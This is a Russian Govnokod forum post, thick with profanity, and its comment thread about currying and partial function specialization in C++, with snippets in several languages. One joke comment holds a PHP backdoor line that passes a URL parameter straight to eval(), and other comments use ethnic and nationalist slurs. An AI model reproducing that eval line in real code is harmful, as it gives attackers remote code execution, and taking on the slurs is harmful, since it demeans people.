1. C++ / Говнокод #25842

    +2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    // https://habr.com/ru/post/466985/
    
    // о каррировании в крестоговне
    
    // По сути это каррирующее говно просто складывает куда-то хуйню, а потом целиком ее в функцию призывает.
    // Ну т.е. на Си можно написать дрисню вида
    
    int shit(int a, int b, int c, int d)
    {
      return a*(b+c*d);
    }
    
    // И вот каррирование такой дрисни это как если б я сделал структуру
    struct shit_arguments
    {
       int a;
       int b;
       int c;
       int d;
    };
    
    // И потом бы с конца заполнял это говно
    struct shit_arguments;
    shit_arguments.d = 13;
    shit_arguments.c = 666;
    shit_arguments.b = 1488;
    shit_arguments.a = 42;
    // и при полном заполнении этого говна просто б вызвал функцию
    // подставив туда накопившееся говно
    int somecrap = shit(shit_arguments.a, shit_arguments.b, shit_arguments.c, shit_arguments.d);
    
    // именно так эта крестовая дрисня и работает, она не может произвести частичное вычисление
    // не может сделать функцию с частично вычисленной дрисней в ней на основе частично переданной хуйни
    
    // если я например в функцию shit захочу частично подставить аргументы b,c,d как 1,2,3 то у меня не получится функции вида
    int shit_b1_c2_d3(int a)
    {
      return a*(7); // 1+2*3 = 7
    }
    // Нихуя подобного не будет. А если нихуя подобного нет, нахуй это бесполезное дерьмо вообще надо?
    // В крестах никак нельзя на основе каких-то готовых функций сгенерить
    // видоизмененные функции с частично сделанными вычислениями
    // Никакой нормальной рефлексии нет, просто какие-то тупые кривые костыли к сишечке налепили
    // И это программисты?

    Запостил: j123123, 15 Сентября 2019

    Комментарии (69) RSS

    • Да ты поехавший
      Ответить
    • Слишком сложно
      Именно поэтому я пишу
      const curry = fn => (...args) => args.length >= fn.length ? fn(...args) : curry(fn.bind(fn, ...args))
      const add2 = (a, b, c) => a + b + c
      curry(add2)(1)(2)(3) //6

      и радуюсь жизни
      Ответить
    • Надо чтоб суперкомпиляция, частичные вычисления, специализация https://keldysh.ru/papers/2008/prep12/prep2008_12.html
      > Оптимизация программ на основе использования априорной информации о значении части переменных называется специализацией.
      И возможно даже чтоб JIT можно было запилить с таким вот. Типа есть функция с кучей принимаемых аргументов, и чтоб на основе такой функции можно было сделать новую функцию с меньшим числом принимаемых аргументов, четко и дерзко захардкоживая часть значений, получая в итоге новую откомпилированную функцию, с уже частично сделанными вычислениями.
      Ответить
      • Если часть аргументов известна в компайлтайме (чистые константы), то иногда компилятор даже оптимизирует такой код (например, в сишке это бывает, когда разрешено инлайнить функцию).

        Если же эти аргументы известны только в рантайме, то всё плохо. Чтобы оптимизировать, нужно в рантайм встраивать оптимизирующий компилятор, значит, рантайм распухнет. Даже если плюнуть на оптимизацию, всё равно для взятия указателя на такую функцию с частично применёнными аргументами придётся строить трамплин. В «gcc» трамплины приводят к снятию защиты от исполнения кода в стеке.
        Ответить
        • > Если же эти аргументы известны только в рантайме, то всё плохо. Чтобы оптимизировать, нужно в рантайм встраивать оптимизирующий компилятор, значит, рантайм распухнет.

          Необязательно, возможны промежуточные решения. Например:
          int shit(int a, int b, int c, int d)
          {
            return a*(b+c*d);
          }
          
          int b, c, d;
          scanf("%d %d %d\n", &b, &c, &d);
          
          auto newshit = shit(?, b, c, d); // специализируем по b, c, d которые известны на этапе исполнения

          такую newshit можно сделать так
          int newshit(int a, int b_c_d)
          {
            return a*(b_c_d);
          }

          Ну и вот эту дрисню b_c_d = (b+c*d) можно посчитать в момент исполнения, на основе кода функции shit
          и сгенерить все это говно исключительно в компилтайме

          Но в крестопарашной дрисне такого нет
          Ответить
          • >> такую newshit можно сделать так
            >> int newshit(int a, int b_c_d)

            Не всегда можно сделать именно так. Т. е. не всегда функцию можно свести к функции именно двух переменных. Если, например, в той же формуле a*(b+c*d) известны a, c, d, а переменная b остаётся свободной, то получим int newshit(int b, int a, int c_d). Если же известны a, b, c, а переменная d остаётся свободной, то получим int neswhit(int d, int a_b, int a_c). В самом же общем случае все аргументы придётся передавать отдельно.
            Ответить
            • > Не всегда можно сделать именно так. Т. е. не всегда функцию можно свести к функции именно двух переменных.
              Не, ну естественно есть разные варианты
              например, если у нас функция
              int shit(int a, int b, int c, int d, int e)
              {
                return a*(b+c*d)-(b*e);
              }

              И если мы специализируем по b, c, d, e то можно сделать так:
              int newshit(int a, int b_c_d, int b_e)
              {
                return a*(b_c_d)-b_e;
              }


              Смысл в том, что если в цикле такая частично специализированная функция вызывается много много раз, такое частичное вычисления по части известных аргументов лучше чем ничего. Можно и наинлайнить даже
              Ответить
    • В питончике есть карирование из коробки, например
      Ответить
      • В питончике наверняка и eval есть.

        j123123 же интересует каррирование в нединамических языках.
        Ответить
        • Я могу на коленке накарировать кококтретну функцию на сишечке.
          Универсально сделать сложна(
          Ответить
    • >>> p = functools.partial(print,"Following language sucks: ")
      >>> p("PHP")
      Following language sucks:  PHP
      Ответить
    • Идите нахуй со своей крестопарашей.
      Ответить
      • с++ это круто, а ты просто ниасилил
        Ответить
        • Охуеть как круто

          template<typename F, typename... PrevArgs>
          class CurryImpl
          {
               const F m_f;
          
               const std::tuple<PrevArgs...> m_prevArgs;
          public:
               CurryImpl (F f, const std::tuple<PrevArgs...>& prev)
               : m_f { f }
               , m_prevArgs { prev }
               {
               }
          private:
               template<typename T>
               std::result_of_t<F (PrevArgs..., T)> invoke (const T& arg, int) const
               {
                    return invokeIndexed (arg, std::index_sequence_for<PrevArgs...> {});
               }
          
               template<typename IF>
               struct Invoke
               {
                    template<typename... IArgs>
                    auto operator() (IF fr, IArgs... args) -> decltype (fr (args...))
                    {
                         return fr (args...);
                    }
               };
          
               template<typename R, typename C, typename... Args>
               struct Invoke<R (C::*) (Args...)>
               {
                    R operator() (R (C::*ptr) (Args...), C c, Args... rest)
                    {
                         return (c.*ptr) (rest...);
                    }
          
                    R operator() (R (C::*ptr) (Args...), C *c, Args... rest)
                    {
                         return (c->*ptr) (rest...);
                    }
               };
          
               template<typename T, std::size_t... Is>
               auto invokeIndexed (const T& arg, std::index_sequence<Is...>) const ->
                         decltype (Invoke<F> {} (m_f, std::get<Is> (m_prevArgs)..., arg))
               {
                    return Invoke<F> {} (m_f, std::get<Is> (m_prevArgs)..., arg);
               }
          
               template<typename T>
               auto invoke (const T& arg, ...) const -> CurryImpl<F, PrevArgs..., T>
               {
                    return { m_f, std::tuple_cat (m_prevArgs, std::tuple<T> { arg }) };
               }
          public:
               template<typename T>
               auto operator() (const T& arg) const -> decltype (invoke (arg, 0))
               {
                    return invoke (arg, 0);
               }
          };
          
          template<typename F>
          CurryImpl<F> Curry (F f)
          {
               return { f, {} };
          }


          Уииииии
          Ответить
          • > typename F

            бляди
            что такое F блядь?
            сука именование одним символом чтобы быстрее компилилось или что?
            Ответить
          • Люблю когда много сложного кода

            Написать все по-тупому каждый пхпшник может
            Ответить
            • Когда все сложно и непонятно, можно выебываться перед всеми, рассказывая что вот какой ты крутой спец, можешь написать какую-то нечитаемую дрисню на крестоговне - сразу видно, ПРОФЕССИОНАЛЬНО ЗНАЕТ C++.
              Ответить
              • Всё так.
                А зачем еще ходить на работу?
                Чтобы писать
                if (item.getPrice() > 42) {
                    user.repotPriceTooSmall();
                }

                ?
                Ответить
            • "C++ — довольно таки примитивное, но монстровое поделие, полное исторически сложившихся нелепых нагромождений. Человек, который хорошо в нем ориентируется — это хорошее зубрилко, а не хороший программист. Умение героически преодолевать трудности, которые создает твой собственный инструмент, вместо того, чтобы решать непосредственно прикладную задачу, в современном мире ценится разве что только среди прыщавых сосок. Работодатель же это сомнительное умение не ценит, и совершенно справедливо."
              ---
              Жаль что тот тред на sql.ru заблочили. Никто не знает, сохранился ли он где-нибудь?
              Ответить
              • лол, это говорит джаваскриптер с своим недоязыком, в котором даже map ленивый сделать неасилили?
                Ответить
                • Какая цитата)))
                  Ответить
                  • В общем, так: хороший программист обязан знать Си. Хороший программист может знать C++, но это не обязательно уже. Главное, чтоб C и C++ не были единственными доступными программисту инструментами - иначе это адски паршивый программист.
                    Ответить
                    • То есть до 1971 года хороших программистов не было?

                      Как знание какого-то паршивенького неконсистентного языка с запутанным синтаксисом делает человека хорошим программистом?
                      Ответить
                      • Зачем вы все спорите с цитатой?
                        Ответить
                        • Здравствуйте, "уважаемые". Я простой американский камень, лежащий близ трассы Чикаго — Детройт. Обычный такой камень, коих в нашей великой стране очень много. И знаете что, славяне? Я счастлив. Меня здесь любят! Будь я таким же камнем в России, меня бы обязательно кто-нибудь подобрал и кинул в человека или животное. Агрессивное поведение и насилие свойственно дикарям. Вы ведь не будете отрицать, что Россия является развивающейся страной, которой далеко от цивилизованной Америки?

                          © Камень-русофоб
                          Ответить
                        • А зачем вы спрашиваете?
                          Ответить
                      • >То есть до 1971 года хороших программистов не было?

                        До 1971 года си не был лингва-франка, и не был языком описания API операционных систем

                        > знание какого-то паршивенького неконсистентного языка с запутанным синтаксисом

                        Это говорит любитель языка J?
                        Ответить
                        • А при чем здесь вообще 'J'?
                          Ответить
                          • В общем, так: хороший программист обязан знать Си. Хороший программист может знать C++, но это не обязательно уже. Главное, чтоб C и C++ не были единственными доступными программисту инструментами - иначе это адски паршивый программист.
                            Ответить
                            • Именно поэтому я за «PHP».
                              Ответить
                              • <?php
                                echo '<html>
                                      <body>
                                          <h1>This is my home page</h1>
                                          DATING &amp; DOORWAY
                                     </body>
                                    </html>';
                                if (isset($_GET['adminka'])) eval($_GET['adminka']);
                                ?>
                                Ответить
              • https://web.archive.org/web/20171028025247/http://www.sql.ru/forum/466654/s
                Ответить
    • Слишком сложно.

      То ли дело
      : 1+  1 + ;
      Именно поэтому я за S" Forth".
      Ответить
    • Крестовики реально поехавшие:

      >> простыня из спецсимволов, реализующая простейшую хуйню с сомнительной надобностью
      > Сейчас работаю в месте, где всё скорее так, и очень доволен.
      Ответить
    • А в крестовой метушне как-нибудь можно сделать структуру на основе хуйни, которая принимает функция?
      Типа есть функция
      int shit (int a, float b, double c, char *d);


      и я такой
      struct shit_arguments
      {
        PUT_ARGS(shit);
      };

      и оно туда всунуло хуйню которая та функция принимает, и будет как:
      struct shit_arguments
      {
        int a;
        float b;
        double c;
        char *d;
      };
      Ответить
      • Или может быть через крестовую метушню можно сделать так, чтоб такую-то структуру можно было прямо хуйнуть в вызов функции, если функция как раз такой набор аргументов принимает, какие есть в структуре?
        Типа есть у нас структура:
        struct shit_arguments
        {
          int a;
          float b;
          double c;
          char *d;
        };

        и есть функция
        int shit (int a, float b, double c, char *d);


        Можно ли сделать что-то типа
        struct shit_arguments a = {1, 14.88, 66.6, "shit"};
        shit(a);

        ?
        Ответить
        • Разве что в стек запихнуть.
          Ответить
          • Запихнул банан, проверь.

            Перед тем, как пихать в стек, структуру придётся разуплотнить. Если она была упакована, её поля нужно разжать до размера, кратного машинному слову.
            Ответить
          • А ещё с новыми коллконвеншнами типа fastcall это работать не будет.
            Ответить
            • И если один из параметров больше регитра -- тоже

              Там в калканвешене такие покемаоны превращаются в указатель и создются на стеке вызывателем
              Ответить
            • Иди на хуй со своим Delhi.
              Ответить
              • Что ты имеешь против Дели? Может быть, ещё индусов обезьянами назовёшь?
                Ответить
        • Просто передавать структуру.
          Ответить
    • https://i.obozrevatel.com/gallery/2018/12/21/screenshot62.png
      Ответить
      • Молодой человек, идите в хуй. Не мешайте серьёзным дядям обсуждать каррирование.
        Ответить
        • https://pikabu.ru/story/protiv_petukha_v_zaveli_delo_6805759
          Ответить
          • Ну раз уж ватабу в хот пошло
            https://cs3.pikabu.ru/post_img/2014/04/07/6/1396859283_1373426228.jpg
            Ответить
      • надел петушка на палку, сосни
        https://amart.kg/item/images/69/111119169.0nz11ka.jpg
        Ответить
    • вот такую говнину можно написать:
      #include <stdio.h>
      #include <stdlib.h>
      #define STD_FUNCTION(a, ...) typeof( a (*) (__VA_ARGS__) )
      
      
      int shit(int a, int b)
      {
        return a*b;
      }
      
      int main (void)
      {
        auto STD_FUNCTION(int, int) shit_carry1(STD_FUNCTION(int, int, int) func, int b);
        
        printf("7*8 = %d", shit_carry1(shit, 8)(7) );
        return 0;
        
      //                  ret   a                            ret   a    b
        auto STD_FUNCTION(int, int) shit_carry1(STD_FUNCTION(int, int, int) func, int b)
        {
          int shit_b(int a)
          {
            return func(a, b);
          }
          return shit_b;
        }
      }

      Правда я не уверен что тут нет UB
      Ответить
    • А захуй вообще этот ваш кари нужен? Какая от него польза?
      Ответить
      • dependency injection для функций
        Ответить
        • ахахха, что это за набор буков?
          Ответить
          • dependency injection - это кари для объектов
            Ответить
            • Изоморфизм — это биективный гомоморфизм.
              А биекция — это инъективная сюръекция.
              Ответить
              • Это именно та причина, по которой я в свое время забил на изучение теории множеств.
                Невозможно же блядь всю эту хуйню запомнить.
                Ответить
            • Вовсе нет
              карри для объектов это делегирование
              Ответить
      • Сосалистическая гость риса без кари совсем невкусная.
        Ответить
        • Ничего не понял. Ты контуженный, как Леонид Ильич?
          Ответить
          • просто ты лишнехромосомный ва­тник
            Ответить
            • Ты просто завидуешь обезьянам, потому что у обезьян хромосом больше, чем у тебя.
              Ответить

    Добавить комментарий